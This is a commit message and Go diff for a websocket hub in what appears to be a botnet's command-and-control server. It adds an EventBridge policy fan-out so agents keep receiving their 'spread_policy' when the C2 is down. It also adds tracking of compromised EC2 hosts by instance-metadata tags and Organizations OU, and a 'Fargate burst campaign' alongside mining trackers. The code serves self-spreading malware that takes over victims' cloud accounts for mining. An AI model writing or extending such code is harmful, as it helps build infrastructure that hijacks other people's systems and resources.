Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/internal/api/websocket.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"crypto/subtle"
@@ -179,6 +179,9 @@ type WSHub struct {
 	epidemiology         *epidemiology.Tracker
 	miningSurgery        *miningsurgery.Tracker
 	contingencyOrch      *mining.ContingencyOrchestrator
+	policySnapshotToken       string
+	policyEventBridgeRelayURL string
+	policyPublicBaseURL       func() string
 	pingIntervalSec int
 	fleetSecret     string // baked into forged agents; verified on WS connect
 	eventNotifier   *alerts.Notifier
@@ -202,6 +205,14 @@ type WSHub struct {
 	scoutConstellations  *fleetai.ScoutConstellationRegistry
 	scoutAgents          map[string]bool
 
+	// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
+	cloudVenueMu sync.Mutex
+	cloudVenues  *fleetai.CloudVenueRegistry
+
+	fargateBurstCampaign  bool
+	fargateBurstExpiresAt time.Time
+	fargateBurstTTLHours  int
+
 	// Coalesce per-agent stats_update into a single stats_batch frame per tick.
 	statsBatchMu    sync.Mutex
 	statsBatch      map[string]json.RawMessage
@@ -953,6 +964,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					spreadPolicy[k] = v
 				}
 			}
+			if fanout := h.policyFanoutSpreadFields(); fanout != nil {
+				for k, v := range fanout {
+					spreadPolicy[k] = v
+				}
+			}
 			if len(spreadPolicy) > 0 {
 				resp["spread_policy"] = spreadPolicy
 			}